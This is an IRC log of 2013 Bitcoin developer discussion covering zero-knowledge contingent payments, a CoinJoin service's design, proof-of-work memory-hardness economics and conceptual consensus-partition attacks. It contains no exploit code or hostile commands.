10:19 < TD> gmaxwell: would you mind if i copied it or linked it from the contracts page? any preference as to which?
10:22 < gmaxwell> TD: You can go ahead and link it. There are a bunch of links to it elsewhere, and I don't want to maintain two copies. I should probably go move it to [[Zero Knoweldge Contingent Payments]] or something like that, and then the original will at least have the move redirect.
10:22 < TD> ok
10:23 < TD> i suppose this is conceptually similar to oracle payments, except if the function you wish to gate the money on is pure then you can avoid the third party
10:27 < gmaxwell> if the oracles inputs are either untrusted or authenticated, then you basically run the payee run the oracle for you and prove he did it right.
10:29 < TD> yeah. but often you want to access some external state. if the state is signed (+timestamped?) then this construction is indeed better. otherwise the third party is still needed.
10:29 < TD> i really wish TLS had an ability to sign traffic streams. sigh.
10:30 < jtimon> gmaxwell we could issue freicoin foundation funds as bouties for "scientific solutions" this seems perfect for the job
10:30 < gmaxwell> Right, an interesting point is that you could seperate out the authentication and computation parts. E.g. have a trusted third party who connected to the site and signed the results.
10:30 < TD> right. that's true.
10:30 < TD> a generic TLS signing gateway would be useful for many things, like the p2p exchange thing too.
10:31 < TD> i guess you quickly get back to the tor issue of how do you stop people abusing you as a generic anonymizing proxy for wiki abuse and things
10:31 < TD> but perhaps simply restricting to HTTP GET fixes 90% of that
10:31 < TD> you don't need POST if you do a login out of band, and then simply do GETs with your cookies to obtain provable statements of things, and http responses already contain timestamps
11:00 < michagogo|cloud> 15:33:42 <gmaxwell> phantomcircuit: shesek has legal advice that says its not an escrow. Who knows.
11:00 < michagogo|cloud> If it matters, I understand he's based in Israel
11:56 < TD> gmaxwell: the pay to certificate idea seems like it can open up a whole bunch of interesting areas, like decentralised insurance schemes ...
11:56 < TD> where actuaries are replaced with market-based mechanisms instead.
11:56 < TD> the only human component becomes actually verifying that a specific event did take place in the real world.
11:58 < TD> pay-to-proof feels like a whole talk waiting to be given, actually
12:01 < gmaxwell> TD: yea, but not with open questions: no one wants to answer the question that will arise when someone points out that decentralised insurance schemes requires a is-someone-dead oracle. And that an assination market and an life insurance market are /very/ nearly the same thing.
12:01 < TD> but those things can be done in the centralised model too. as andy greenberg has shown.
12:03 < TD> i wonder if there are more efficient special case protocols for ZKProving signatures and cert chains
12:03 < TD> than snarks
12:03 < gmaxwell> Its true, I don't actually worry about those uses much
people are actually less evil than we worry they are in general, any case
but it just makes for some awkward conversations esp if you find yourself in a room that contains people who think that such an application would be a good use.
12:03 < TD> i expect assassination markets to shrivel up once the people running them notice bounties on their own heads ...
12:04 < TD> that's a double edged sword for real, aye
12:04 < andytoshi> i always assumed an assassination market would be set up by a rogue bot
12:04 < andytoshi> not even in a terminator-style encounter, just some stupid bug
17:22 < gmaxwell> andytoshi: one somewhat annoying thing about the fee/donation stuff is that it makes it impossible to go from round inputs to round outputs.
17:23 < gmaxwell> andytoshi: hm. also, can you perhaps have some ajax reloader thing, and perhaps play a chime or popup an alert when its time to sign?
17:23 < andytoshi> oh, sure
17:23 < andytoshi> i guess i should whitelist my own domain on noscript.. :P
17:24 < gmaxwell> maybe just have it display a countdown... and when it hits zero. popup a window/play a beep.
17:24 < gmaxwell> I missed the testnet one I threw coins into earlier. :P
17:25 < andytoshi> i think, i'll have the "there are XYZ seconds until whatever" displays count down everywhere, and i'll see about playing a beep
17:25 < andytoshi> whenever i google for things like "how to play sound using javascript" the forum posts that come up are so sad...
17:26 < andytoshi> fwiw, these never expire, you can F5 the 'sign.php?session=whatever' page for ever and ever
17:26 < gmaxwell> "Sorry, but this session has been invalidated. Probably there were not enough transactions to do a merge."
17:26 < andytoshi> ah
17:27 < andytoshi> that'll happen regardless of how closely you follow it, unless you submit multiple transactions yourself
17:27 < andytoshi> maybe i should extend the window rather than invalidating transactions?
17:27 < andytoshi> i don't want it to happen that somebody submits a transaction, nobody else does for a day or two, and then when finally people use the coinjoiner, it's got some forgotten transaction poisoning the pot
17:28 < gmaxwell> just document.write a tag... <audio autoplay><source src="http://foo.wav" type="audio/wav"></audio>
17:29 < gmaxwell> yea, you don't really want a old transaction jamming it.
17:30 < gmaxwell> What you could do is split off the old pot and start a new pot. The old pot can still get more txn added, but only if someone gets directed to it by ID.
17:30 < gmaxwell> e.g. I could add a txn to the pot, and email you a link directly to the pot. and it fails because no one else adds... and 24 hours later you can add a coin to it, then it'll go into signing X time after.
17:32 < andytoshi> yeah, that's a good idea, and it takes literally no code to implement..
17:32 < andytoshi> i just have to commend out the "set status = invalid" line in the cronjob :P
17:32 < gmaxwell> you might want to have it check if the inputs are unspent and set it to invalid if any of them are spent.
17:34 < gmaxwell> e.g. if I put a coin in, send you a link. Then you don't notice the email, and I give up and join another session .. and my coin is spent.. later when you load the link it won't invite you to add more coins to a dead one.
17:34 < andytoshi> yeah, it should
17:35 < andytoshi> there is code which does that before it switches to signing mode
17:35 < gmaxwell> (or even just: if a coin is spent, you remove it from the mix, and if the count goes to zero the mix is invalidated)
17:37 < andytoshi> cool, done
17:38 < andytoshi> i should also add code so that if outputs are spent during the signing phase, that also invalidates things
17:38 < andytoshi> inputs*
17:41 < gmaxwell> just check on every load of the signing page, perhaps?
17:43 < andytoshi> nah, the pageloads are handled by PHP, i'm trying to avoid doing any real work in there..
17:44 < andytoshi> i have a perl script which transitions to the next session, it does all the merging and validation checks
17:47 < andytoshi> well, that's not true, when you submit a transaction PHP does a spot check
17:50 < gmaxwell> not critical, but checking there would save some time signing a doomed transaction.
17:55 < andytoshi> i think i'll run the perl script every minute or two
17:56 < andytoshi> it should really know how long a session is supposed to be alive..
18:46 < amincd> 20.
19:19 < andytoshi> gmaxwell: i think i've got the coinjoiner working, with the ding and the autorefresh and the frequent checking of transaction validity
19:19 < andytoshi> i still have not updated the tiebreaker code for most popular output to take into account roundness of numbers..
19:21 < andytoshi> i'm really happy with how this is turning out, i do wish there was a nicer UI than "run these rawtx commands"
19:23 < michagogo|cloud> andytoshi: You could make a script or set of scripts for assorted languages to use the rpc interface to make a nicer UI
19:31 < gmaxwell> andytoshi: well, next step can be to write a client for it. :P
19:31 < nsh> use predicates
20:14 < maaku> gmaxwell: "The general idea is that the merging party can just make a list (blindly) mapping their inputs to outputs, give the list to all players, and commit to the list so that all players know they got the same list." <-- that's how I always understood the protocol, and what the one I'm working on does
20:14 < maaku> I guess I don't understand phillipsjk's attack?
20:16 < gmaxwell> e.g. you and I want to coinjoin and both of us want to pay 1 BTC to 1wikileaks (perhaps among several other outputs we want).
20:16 < maaku> ok
20:17 < gmaxwell> in the most straight forward construction the merging host could have just 1 1BTC output to 1wikileaks, and if you and I don't know about each other we'd inspect the transaction and each say "yep, 1btc payment to wikileaks, good to go"
20:18 < gmaxwell> meanwhile the merging host had just added in an extra 1btc payment to themselves.
20:19 < maaku> so in the version I'm working on, the merger (I call him the joiner) makes a proposal by referencing offers signed by each participant
20:19 < maaku> so we could, in principle, check that each others requirements were met and not double-count the donation
20:19 < maaku> but yes, I understand the problem now and I hadn't considered it
20:20 < maaku> my naive implementation would have just checked the user's own requirements and could fall victim to that
20:20 < gmaxwell> yea, it's perfectly solvable.
20:21 < maaku> hrm.. but this is maybe semantically ambiguous - what if I really only care that 1 btc was sent to 1wikileaks?
20:21 < gmaxwell> I give two ways to solve it
one constrains an output pubkey, the other requires an extra communications roundtrip. I dunno if there are better ways. The communications round trip might just be necessary for anti-dos reasons regardless.
20:22 < gmaxwell> maaku: then you could signal that, I suppose... one is a superset of the other.
20:22 < maaku> in freimarkets for example, we have private servers that condition transactions based on whether an output matching a certain template makes it on the block chain
20:23 < gmaxwell> for transaction fees (which you can think of as being a 'reused address') it might actually be the case that you only care that X amount goes to them and you don't give a darn regardless.
20:23 < maaku> in which case you're using it as a semaphore ... but it's not really a problem if more money ends up there, and I assume that requiring both outputs is the better default
20:23 < gmaxwell> maaku: right, and what I'm saying is that the ability to accept such a case is a subset of the ability to detect that you're in such a case.
20:24 < maaku> yeah
20:24 < maaku> sorry, just thinking outloud
20:24 < gmaxwell> I'd actually like it if CJ things could merge outputs, e.g. 1 WL, 1 WL -> 2 WL.. but because of the triggers you'd want to actually communicate your willingness to accept.
20:25 < gmaxwell> (merging matching outputs is always equal or better for privacy, and its more efficient)
20:27 < maaku> yeah
20:28 < gmaxwell> andytoshi: I assume when you put this up for real you put it behind ssl?
20:33 < andytoshi> gmaxwell: yeah, definitely
20:34 < andytoshi> actually, i have been meaning to put my entire site behind ssl for a long time.. is there such a thing as a good cheap cert provider?
20:34 < gmaxwell> startssl
20:34 < maaku> startssl
20:35 < gmaxwell> at least in one of your dimensions its infinitely good.
20:35 < andytoshi> thx guys :)
20:35 < adam3us> andytoshi: all certs are equal, buy the cheapest :) (its an openssl design side effect - weakest link in chain defines system security)
20:36 < gmaxwell> not quite equal, since there is some inequality in support in older browsers, but I think for your stuff you don't care.
20:36 < maaku> adam3us: well, you need to make sure it's a widely deployed root cert (e.g. built into mobile browsers)
20:36 < maaku> but startssl is, and it's free ... kinda hard to beat that :)
20:36 < andytoshi> well, i meant 'good' in a moral sense.. for example godaddy supported SIPA, they act like scammers, they look sleazy, etc
20:37 < gmaxwell> If you don't pay them it's less morally ambigious. :)
20:37 < adam3us> maaku: some of them have a chain file you have to use, because they are subcas, which works but makes the cert response over the wire larger
20:37 < andytoshi> yeah, i buy that :)
20:37 < adam3us> maaku: free eh? thats pretty good
20:38 < maaku> well for the lowest level of verification ... as if verification actually meant anything
20:39 < maaku> unfortunately they require verification if your domain gets flagged as high-risk (e.g. monetize.io :( )
20:39 < andytoshi> lowest level is fine, at least people can't read your traffic with tcpdump..
20:39 < maaku> but even then, it's still the cheapest
20:39 < adam3us> maaku: yeah thats a new one to me, used to be like $7 - $10 cheapest
20:41 < gmaxwell> andytoshi: so wrt output values. Maybe instead of just the most popular output, when there is more than one output with exactly equal values, you list all of them. E.g. If you have 10.1 1 5.3133 you list 1 (roundest most popular output), and if later you have 10.1 10.1 1 5.3133 you list 10.1. and if later you have 10.1 10.1 1 1 2 2 5.3133 you list
10.1, 1, 2. It makes the txn more identifyable but you'd almost certantly learn ...
20:42 < gmaxwell> ... the same stuff by just continually polling the most popular output as it changes.
20:53 < gmaxwell> andytoshi: I got
18:15 < andytoshi> note that the idea about just wrapping a hard-to-verify PoW in a snark encourages centralization because the snarking step is hard to do but only has to be done once per block. so the more hashing power you have the smaller the percentage of power is "wasted" just proving that you did what you claimed. plus you can start building on that PoW before the
proof is complete, but others don't get to see
18:15 < andytoshi> what to build on until you publish the proof
18:16 < maaku> andytoshi: not to mention incentives
18:16 < maaku> having a snark step delays annoucement as you have to build the snark proof
18:17 < andytoshi> maaku: yeah, i had several false starts trying to describe the incentive situation :P it's really confused
18:19 < andytoshi> the snarkchain model gmaxwell suggested is requiring SHA256(SNARK_PROVE(SHA256(utxo updates + nonce))) < TARGET, which avoids all these problems while also incentivize snark optimization work
18:21 < gmaxwell> whats this about linear pcps? The general problem with using PCP constructions directly is that they have insane expansion of the proof, so like the proof ends up being larger than the universe, which is generally regarded as a bad thing. If the proof is a linear function, however, like one structured as a hadamard code there is a way to effectively
work with the proof in a transformed domain that makes operations compact. So you ...
18:21 < gmaxwell> ... don't actually have to instantiate the whole proof.
18:23 < gmaxwell> 14:35 < tacotime_> And that the parameters file must arise from a trusted source.
18:23 < gmaxwell> ^ not quite
Thats how the GGPR'12 pairing-crypto SNARK stuff works. But its not inherent to verifyable execution.
18:24 < gmaxwell> The GGPR stuff has an advantage of being the most developed and currently most efficient approach.
18:25 < tromp__> gmaxwell, you missed my discussion with petertodd on Cuckoo Cycle. i was wondering if you had read the paper and had any feedback on it?
18:25 < gmaxwell> A not really accurate way to understand it is that it reduces the problem of verifying execution to testing the roots of some polynomials and testing some ratios of polynomials. ... then it instantiates a kind of homorphic cryptosystem so you can do all this in an encrypted domain.
18:25 < gmaxwell> tromp__: I saw the discussion but I didn't participate because I haven't read the paper.
18:26 < tromp__> ic, gmaxwell. anyway, i hope you have a chance to read it. i'd like to have your opinion on it
18:27 < gmaxwell> tromp__: I think petertodd's concers in the first half the the discussion were taking the wrong approach. I understand
without reading the paper
that the approach sounded like its based on finding a kind of structured multicollission?
18:28 < tromp__> yes, a combined 42-way collission if you like
18:28 < gmaxwell> Generally collission finding POWs give you asymetric memoryhardness but they have time/memory tradeoffs (e.g. using rho cycle finding). And generally multicollisions have more tradeoff available not less, so I'm interested in how you solve that but I should read the paper.
18:28 < tromp__> the key insight i think is that the edges must be processed in sequential ortder
18:29 < tromp__> it's not a collission of many to one
18:29 < tromp__> it really requires following long chains of pointers
18:30 < gmaxwell> The later half of PT's discussion is a more meta point which is some new thinking. I now believe (and have been talking some with Colin Percival some about) that the security analysis in the scrypt paper was significantly flawed. :(
18:30 < tromp__> which is what prevents those rainbow table/bloom filter collission shoirtcuts
18:31 < gmaxwell> Basically if you model a typical big computing cracking effort, for example, over the whole task of the computation, power costs can come out to something like 95% of the total cost (e.g. on 28nm)
18:32 < tromp__> cuckoo does about 5x more random memory accesses than hashing ops, so it should do well on power
18:32 < gmaxwell> So what can happen when you try to make a memory hard KDF is that you increase the silicon costs (part of the 5%) by
say 10 fold or what have you
but if in doing so the power costs to the attacker (for a users tolerance budget) goes down.. that may be a loss.
18:32 < tromp__> the latency will slow down the rate at which you can hash
18:33 < gmaxwell> yes, and I'm concerned thats actually bad.
18:33 < tromp__> in what way is a latency dominated pow bad?
18:33 < gmaxwell> e.g. you make the 5% 10x (say) more expensive but you make the 95% 1/4th as expensive then the result is a net loss.
18:34 < gmaxwell> tromp__: shifting cost to silicon over power potentially favors optimized hardware infrastructure.
18:34 < tromp__> but the power use will be limited by the relatively huge cost of dram
18:36 < tromp__> imagine how much memory is needed for its power-use to equal that of all sha256 asics in use now
18:36 < tromp__> it wld probably be more than all memory in existence
18:37 < tromp__> also, most power use in memory is due to high bandwidth ops
18:38 < tromp__> if you know you only need to fetch 32bit words, and dpn't fill cache lines with adjacent words, then power cld drop a lot
18:38 < gmaxwell> tromp__: Well we have an existance proof
TCO wise the gridseed scrypt asics are a bigger improvement over GPUs than sha256 was. I _believe_ that increasing the memory size would actually make that worse, though I'm trying to talk to gridseed engineers about it but chineses/english language barriers are fun. :P
18:39 < gmaxwell> tromp__: I don't think you are following my argument there. I'm not quite sure how to state it more clearly.
18:39 < gmaxwell> I don't actually know how it pans out for different parameters, it's also pretty process sensitive, the last few process nodes scaled transistor density better than they scaled dynamic power.
18:39 < tromp__> i think scrypt has a LOT more parallellism in it than cuckoo
18:40 < andytoshi> tromp__: an attacker can amortize his hardware costs because he is generating shitloads of keys, and he benefits from lower power. an honest user of a KDF is hit much harder by latency costs and doesn't care about power because honest users don't generate many keys
18:40 < tromp__> are any scrypt asics in the hands of miners yet?
18:41 < gmaxwell> I have one sitting in front of me, they aren't widely available to the public yet.
18:42 < tromp__> the crucial question is, how many scrypt attempts does the chip run in parallel?
18:42 < maaku> gmaxwell: is it an asic, or an fpga prototype board
18:42 < gmaxwell> tromp__: but in this case the lack of parallelism helps the attacker. Thats why I was saying that more memory appears to actually make scrypt worse (for actual attack cost) relative to commodity hardware. Though there may be inflection points in the tradeoff.
18:42 < gmaxwell> maaku: an asic.
18:43 < tromp__> how much memory is on the scrypt asic?
18:45 < gmaxwell> tromp__: not sure, still trying to extract data from the people who made it. Each instance of scrypt needs 128k, unless you use a minor TMTO but I'm pretty sure they aren't.
18:46 < tromp__> right; so they'll be able to run 8192 instances with 1GB of on chip mem
18:47 < tromp__> now with cuckoo, you can set the memory requirement at 1GB, or 4GB.
18:47 < gmaxwell> It's in a super cheap QFN package, whole chip costs about $1.25 to make, they've been putting 5 of them to a proto board, which (including regulator losses) draws a bit less than 8 watts, and does 300KH/s which compares not too unfavorably to a year old / middle tier GPU.
18:47 < tromp__> and they won't be able to run more than a few instances
18:47 < gmaxwell> thats irrelevent sadly.
18:48 < tromp__> furhtermore, i don;t see how each instance can run mush faster than with a cpu hooked up to std RAM
18:48 < gmaxwell> tromp__: did you see andytoshi's illustration of the concern?
18:48 < tromp__> no, gmaxwell, where can i see it?
18:48 < gmaxwell> tromp__: oh you can get incredible speedups if you can avoid chip external (pin-count and frequency limited) long busses.
18:49 < gmaxwell> just the point above:
18:49 < gmaxwell> 15:40 < andytoshi> tromp__: an attacker can amortize his hardware costs because he is generating shitloads of keys, and he benefits from lower power. an honest user of a KDF is hit much harder by latency costs and doesn't care about power because honest users don't generate many keys
18:49 < gmaxwell> Basically these analysis must consider both the operating costs and the upfront costs. The hardware cost is amortized.
18:50 < gmaxwell> unfortunately a total cost model is much harder to do because its much more dependant on the physical instatiation than just trying to count transistors.
18:50 < tromp__> but amortization requires parallellization
18:51 < tromp__> no-one has proposed a viable way of parallellizing cuckoo?!
18:52 < gmaxwell> tromp__: Everything can be parallized. E.g. the attacker acts as two miners. Within the algorithim you are not parallel sure, but there is a maximum scope to this or you lose progress freeness, which is essential for consensus-POW. (maybe it doesn't matter for a KDF)
18:52 < andytoshi> no, amortization just requires you to run for a long time.
18:52 < gmaxwell> and yes, as andytoshi points out, just continuting to run for a long time is where the amortization comes from.
18:53 < gmaxwell> tromp__: I'm not sure what background you have in POW-consensus, do you understand what I mean about progress free being a requirement?
18:53 < tromp__> andytoshi, you can only run cuckoo for EASYNESS many nonces,, there are only a small number of cycles to be found in that time
18:53 < gmaxwell> tromp__: you don't just run it once and throw your hardware out, of course.
18:54 < tromp__> right, you need to use your 1GB of memory for, say, 10secs, and have some small prob of finding a 42 cycle
18:54 < tromp__> and keep repeating that
21:53 < midnightmagic> in essence, the retarget can be rewound as though no retarget has happened yet because a heavier subtree exists that hasn't reached retarget.
21:54 < maaku> midnightmagic: the reorg code doesn't care squat about retargetting, as far as I am aware
21:54 < gmaxwell> any limit creates a potential for an unresolvable fatal partition in the network if there is a reorg right at the boundary. So you argue "boundary X is safe because making a reorg that deep is infeasable" I respond "boundary X is pointless because it defends against an attack you just told me can never happen" :)
21:54 < midnightmagic> i don't know if it matters, was just thinking of possibilities.
21:54 < gmaxwell> midnightmagic: yea, I dunno if thats especially concerning subtle things to think through for sure.
21:56 < midnightmagic> maaku: I guess the retarget boundary may not be relevant, but it looks like a heavy subtree can make the main chain length *shorter*..
21:56 < phantomcircuit> gmaxwell, "checkpoints are a performance feature not a security feature"
21:57 < gmaxwell> phantomcircuit: hm? yes.
21:57 < maaku> midnightmagic: it extends the length of the sub-tree, i don't see how it reduces the length of the main chain
21:58 < gmaxwell> maaku: well for security you actually care about the relative distance to the next best tree that doesn't include your txn.
21:58 < gmaxwell> since thats the amount of work required to change the decision.
21:58 < midnightmagic> maaku: It is possible that mining could indefinitely create a reorg which switches back and forth between two trees without actually extending the main chain length.
21:59 < midnightmagic> I don't think a 51% attack right now could do that. I think it must *extend* some tree in order to increase main chain length.
21:59 < gmaxwell> midnightmagic: I dunno that that matters though. I worry more about details like how the heck do you make sure that everyone actually agrees on longest.
22:00 < andytoshi> gmaxwell: well, if boundary X is there to try and keep nodes from getting DOS'd, even if it is infeasible to split the network that far back it is a useful boundary
22:00 < maaku> yes, a problem here is that you no longer have global knowledge about how much weaker a distant subtree (which you're ignoring due to DoS considerations) is, until it overtakes you
22:01 < maaku> but it would take the nuclear 51% for the subtree to have any effect, which is why it's not a very weighty concern from where I'm sitting...
22:01 < gmaxwell> andytoshi: header flooding alone isn't really an interesting dos though, esp as you don't forward them
22:02 < andytoshi> well, it could be interesting if you've gotta keep them all in memory at once
22:03 < Mike_B> hey btw gmaxwell - did you ever find that hashcash paper?
22:03 < Mike_B> i'd really love to read it if you did.
22:03 < andytoshi> i thought that was the crux of this "diff-1 flood" attack we are discussing
22:03 < gmaxwell> Mike_B: haven't had a chance.
22:03 < Mike_B> gmaxwell: do you remember the title? i was searching stuff like "hashcash progress-free" on google but without much luck.
22:06 < gmaxwell> Mike_B: if I did I would have just given you the result.
22:06 < midnightmagic> ah, footnote #10 was what I was looking for
22:07 < gmaxwell> andytoshi: I haven't been following the discussion here, and don't have time to.
22:09 < gmaxwell> andytoshi: but with a 'sutiable' headers first implementation diff-1 flooding basically reduces to a boring "peer can send me unwanted packets" problem... though I don't know if anyone would ever bother with the really dos hardened version since incrementing the minimum difficulty (and then fixating the old chain as a one time thing) is a simpler thing to do.
22:10 < gmaxwell> (if you don't mind potentially fetching fork headers multiple times you can basically bound the space uning a hierarchy of bloom filters to accept headers for inspection)
22:13 < andytoshi> hmm, i'd have to think about what a 'suitable' headers first implemetation would look like, since if you are weighing entire trees you can have a situation where two peers each have half the tree
22:13 < andytoshi> but neither is aware of the other half
22:15 < gmaxwell> oh if you're talking about that fast blocks paper, I think it destroys every anti-dos mechenism for block flooding I'm aware of (other thain incremeinting the minimum diff)
22:15 < andytoshi> oh, i am :P i think we have been talking past each other
22:15 < gmaxwell> well okay other than that, and other than SNARKs for membership in a chain of some total diff.
22:16 < maaku> andytoshi: which is totally fine...
22:16 < gmaxwell> e.g. you could build a snark for summing the diff of a chain which commits to a hashtree of headers. And then you can prove each header incrementally is a member of a chain with some sum diff.
22:17 < gmaxwell> maaku: it's fine? really? if you end up with half the hashrate on one subtree and half on another subtree.. thats not good. what triggers resyncing the missing blocks to make them ever converge?
22:17 < maaku> gmaxwell: reverting to IBD mode when one tree is longer, which it will be eventually
22:17 < andytoshi> right, my concern is that no node can make a snark because nobody individually has a heavy enough subtree
22:17 < andytoshi> but together, their subtrees could add up to a lot, so you have to listen to them all
22:18 < gmaxwell> maaku: I don't follow but I think I'm too worn out to think now.
22:19 < maaku> gmaxwell: the point is the question amounts to "assume a situation only possible as the result of a 51% attack, here's a problem" - and my response is "that problem will sort itself out, and beyond that is not worth thinking about because you're assuming a devistating attack"
22:20 < gmaxwell> maaku: I don't see that. assume the network ends up in a state where half the nodes know fork blocks ABC and half know DEF and as a result you have half hashpower on each subtree and they stay tied. What makes them eventually converge?
22:21 < maaku> gmaxwell: block generation being a stochastic process. they will diverge from each other randomly
22:21 < phantomcircuit> maaku, they *might* but you have no guaratee
22:21 < phantomcircuit> we like those
22:21 < gmaxwell> maaku: sure, but there are three extra blocks on each side. how long until one gets three ahead when they have an even split of hashpower?
22:22 < gmaxwell> and how much hashpower does it take to maintain that state?
22:22 < gmaxwell> (by adding extra orphans)
22:22 < maaku> i'm not sure i follow - why the magic number 3?
22:22 < gmaxwell> I just picked a number.
22:22 < Luke-Jr> obviously the Holy Trinity
22:23 < gmaxwell> 1, 2, many. Three is the smallest many.
22:23 < maaku> gmaxwell: well you just need a single block more on either chain
22:23 < andytoshi> once one half of the split gets one block ahead, that should be enough to draw hashpower toward it
22:24 < andytoshi> which is the way that their "eventually you always reconverge" theorem works
22:24 < gmaxwell> anyways, point I'm trying to make is I think you can put this system into a state where it will probably never converge, even without an (active) attacker.
22:24 < maaku> and chances are you'll get that ... unless the attacker is >51% of the network and censoring his own blocks, in which case :shrug:
22:24 < andytoshi> i think maaku is right, but only when everybody is sharing all the available blocks -- and then i think we have DoS potential
22:24 < gmaxwell> maaku: hm? no the nodes with the A B C orphans need the D E F orphan chain to be 4 blocks longer before they think its longer.
22:25 < gmaxwell> andytoshi: but _how_ do you share all blocks? how do you actually know if you have them all? how do you know if you don't to go get them? and how doesn't any anti-dos not mess that up?
22:26 < maaku> gmaxwell: ah ok i misunderstood your description of the initial state
22:26 < andytoshi> well, you have a master chain, and if you say, ignore any blocks more than 10000 behind the head of the chain, that would be an anti-DOS which doesn't affect this business of reconvergence
22:26 < andytoshi> unless you get a 10000-deep split, and then you're totally screwed
22:27 < andytoshi> but 10000 blocks ago the diff should be high enough that spamming blocks is impossible
22:27 < gmaxwell> you know for sure you have all the blocks normally, because of the linked list structure of the chain, but this stuff creates relationships which are not unidirectional. E.g. newer orphans make older blocks (which are later in the chain) better.
22:27 < maaku> gmaxwell: getting ahead (or behind) 3 blocks would take a while, but it will happen - and i should point out the chance of it happening is the same as getting into that state in the first place
22:27 < maaku> since you're presuming the forks have equal hash power, but somehow one has 3 more proof of works than the other
22:28 < gmaxwell> right 3 will happen buy may take a long time. .. a semi-active attacker with fairly modest hashpower who keeps mining more orphans only on the shortest subtree could prolong that.
22:29 < maaku> but "in reality" there will be some miners which only have one orphan stored - and they will jump ship first
22:30 < maaku> i think you're still balancing on a pin to set this up
22:32 < gmaxwell> maaku: but its a balance that could even happen without an attacker
which I agree is unlikely, and attacker could make it happen for sure. wait for a natural split, buy a burst of hashing power to build two blocks and give them in a censored manner... repeat as needed to keep it imbalanced. I don't know that its fatal, but its a whole class of attack
that doesn't exist in the current system because we have jamming resistant ...
22:32 < gmaxwell> ... communication of blocks
22:32 < midnightmagic> I guess building additional orphans is less of a good idea than building ones that are likely to become canonical due to coinbase payments.
22:32 < gmaxwell> midnightmagic: someone breaking the system is short coins and doesn't care about the coinbase payments.
22:32 < midnightmagic> hrm
22:33 < midnightmagic> joker effect.
22:33 < gmaxwell> "byzantine failure"
22:34 < gmaxwell> though perhaps its sufficient if miners commit to all the blocks they're using to contribute to the difficulty they're using ... maybe that gets it back to the same communications model.
22:34 < gmaxwell> e.g. if blocks get censored you'll know it if you hear the tip.. and then you can go looking for the contributors.
22:34 < midnightmagic> well it's pretty neat they did this paper, it's a cool idea. i wonder if it can work in a p2pool-like sharechain where orphans themselves could count towards the whole.
22:34 < maaku> gmaxwell: if the attacker is in a position to buy more than the entire hashpower of the network, there's a lot more they can do than just that
22:34 < maaku> are you saying they can do it without maintaining that hash advantage?
22:34 < gmaxwell> maaku: only for a brief window? no way. I'm saying they don't have to maintain a hashing advantage.
22:35 < gmaxwell> as you note, once its on-the-head-of-a-pin its unlikely to converge by chance... so they just have to keep proding it to equlibrium if its gets out.
22:35 < gmaxwell> they could have an average hashpower a small fraction of the networks and make the split continue to diverge.
22:36 < gmaxwell> e.g. 10% of the network hashpower they're adding 1 block to the smallest subtree per 10 blocks added to the network.
22:37 < maaku> gmaxwell: i'm not certain of that ... it's not explained how they're able to maintain this partition of knowledge about the orphans
22:37 < andytoshi> maaku: i think the idea is, the nodes don't think to ask for the missing orphans, because they don't see any new blocks referencing them
22:37 < gmaxwell> it's not knoweldge, they're making them and handing them out
22:38 < maaku> gmaxwell: i mean the orphans which resulted in the split in the first place
22:38 < maaku> andytoshi: a GHOST client would benefit from gossiping about orphans
22:40 < maaku> midnightmagic: i'd edit your post. it is perfectly possible to rewind past a difficulty retarget. we don't want to be spreading misinformation to the people who read that
22:41 < midnightmagic> maaku: It's a sub-point of stripping blocks off head..?
22:41 < maaku> midnightmagic: you can have a two-block reorg when the difficulty retarget was 1 block ago
22:42 < maaku> (and have a different retarget as the result, due to different timestamps)
22:42 < midnightmagic> maaku: Yes but after that reorg the head work count is not shorter, correct?
22:42 < maaku> correct
22:43 < maaku> but you post states "This includes rewinding back past a difficulty retarget, which is currently impossible"
22:43 < maaku> that *sounds* like diff retarget == checkpoint
22:43 < maaku> whether that is what you meant or not
22:43 < midnightmagic> I am editing the post, but that is a semantic difference of the meaning of the term "rewind" which I'd hoped was made clear by the fact I'd put it as a subpoint of *stripping off blocks from head without replacing them.*
22:45 < midnightmagic> That is, you have to replace it with a *greater* amount of work, and thus substitute one reorg for another. I'm assuming by now you know what I mean and just don't think the vocabulary I'm using is appropriate.
22:47 < maaku> midnightmagic: correct
23:59 < gmaxwell> yo dawg, i heard you liked vanity https://people.xiph.org/~greg/qr.png
--- Log closed Mon Dec 09 00:00:42 2013
--- Log opened Mon Dec 09 00:00:42 2013
00:32 < amiller> lol.
02:41 < wumpus> hahaha nice gmaxwell
03:31 < wumpus> gmaxwell: so does that actually generate keys, convert to an address, create a qr code, and match to some target image or so?
03:33 < wumpus> or is the actual information in the qr code not important and it just makes use of the redundancy in the representation?
03:43 < maaku> wumpus: i would assume it's making use of redundancy, just from visual inspection
03:46 < wumpus> maaku: it seems that way, just found the paper: http://dl.dropboxusercontent.com/u/12405967/qrsem.pdf
03:47 < wumpus> I suppose that if one generated vanity keys one could get even closer to the target image, but it's not needed for the effect at all
03:48 < maaku> yeah that's why i figured it was redundancy
03:48 < maaku> it could have been a cleaner image without
03:48 < maaku> er, with a vanitygen approach
06:00 < michagogo|cloud> gmaxwell: Nice. (my phone couldn't read that, but zxing.org could)
14:18 < gmaxwell> hm. An interesting point about cryptocurrencies with perfect anonymity and fungibility is that they have
assuming spherical cryptography
fundimentally better scalablity. not having privacy means communicating more information.
14:19 < gmaxwell> you could imagine a cryptocurrency based on encrypted commitments and state outsourcing where a block doesn't communicate transactions at all, just the final state commitments and proofs that they're correct.
14:20 < iddo_> what is spherical cryptography ?
14:21 < gmaxwell> iddo_: I mean with tools that achieve everything we know is theoretically possible, "spherical cow", without pratical considerations or constant factors.
14:21 < iddo_> ahh
14:21 < gmaxwell> e.g. imagine a block that doesn't carry transactions, it just commits to the final state after all transactions were applied, and proves that the updates met the rules.
14:22 < iddo_> so with anonymous cryptocurrency, you mean that it's less communication complexity, but more computational complexity locally?
14:24 < gmaxwell> well I'm ignoring the complexity of the proof systems, in theory SNARKS can give quasi linear work on the prover, and constant communication and verifier complexity or similar efficiency.
14:24 < iddo_> gmaxwell: why did you say several days ago that Bitcoin mining power is about 2^74 now? i see about 64 leading zeros in the PoW hash of blocks now, isn't that 2^64 complexity?
14:24 < eristisk> So, a distributed blockchain model where the data contained within the blocks would be of much smaller size because of the the intentional absence of the bulk of the transaction data... wouldn't miners that solved the block still see the entire contents of the transactions?
14:24 < gmaxwell> iddo_: aggregate vs each blocks.
14:25 < gmaxwell> eristisk: sure, but only the block they produced.
14:25 < iddo_> gmaxwell: aggregate means what in this context? all the work that has been done since the genesis block?
14:25 < gmaxwell> Maybe my point was too abstract, but I'm only pointing out that the theoretical limits of cryptocurrency efficiency can only be achieved if the cryptocurrency is anonymous... because adding identifyable information increases that communication complexity to at least linear.
14:26 < gmaxwell> iddo_: correct.
14:26 < iddo_> cool
